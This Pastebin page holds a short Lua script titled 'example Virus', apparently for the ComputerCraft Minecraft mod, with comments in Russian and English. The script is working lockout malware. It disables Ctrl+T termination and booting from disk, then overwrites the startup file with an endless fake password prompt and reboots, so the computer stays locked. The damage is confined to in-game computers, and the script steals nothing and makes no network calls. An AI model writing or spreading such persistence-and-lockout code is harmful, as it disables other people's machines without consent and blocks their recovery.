Advertisement
Pit_Anonim

example Virus

Nov 27th, 2016
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.03 KB | None | 0 0
  1. -- переменная с кодом вируса/the variable with the virus code
  2. local startupcode = [[
  3. os.pullEvent = os.pullEventRaw
  4. print("Lets play the game!")
  5. while true do
  6.     print("Password:")
  7.     local a = read()
  8.     write("Good one, but no.")
  9.     print("")
  10. end
  11. ]]
  12.  
  13. -- команда, которая не дает выключить программу сояетанием Ctrl+T/the command, which does not shut down the program with Ctrl+T
  14. os.pullEvent = os.pullEventRaw
  15.  
  16. -- команда, которая не дает перезагрузить компьютер с дискеты (изменение настроек компьютера)/the command, which does not restart the computer from floppy (change computer settings)
  17. settings.set("shell.allow_disk_startup", false)
  18. settings.save(".settings")
  19.  
  20. -- копирование переменной в файл автозапуска/copying a variable in the  startup file
  21. local virusfile = fs.open("startup", "w")
  22. virusfile.writeLine(startupcode)
  23. virusfile.close()
  24. os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement